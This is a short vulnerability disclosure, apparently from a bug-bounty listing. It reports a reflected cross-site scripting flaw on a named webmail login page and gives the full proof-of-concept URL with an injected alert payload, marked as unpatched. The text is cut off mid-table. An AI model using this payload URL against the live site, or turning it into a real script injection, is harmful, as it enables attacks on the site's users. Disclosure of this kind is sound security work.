webmail3.networksolutionsemail.com XSS vulnerability

Vulnerable URL: http://webmail3.networksolutionsemail.com/edgedesk/cgi-bin/login.exe?user=OpenBugBounty=%27;alert%27OPENBUGBOUNTY%27//=login.xsl=indexsecure%20.xsl=1=mgnetsol〈[email protected]=xss&login.x;=2&login.y;=2 Details: Description| Value ---|--- Patched:| No Latest check...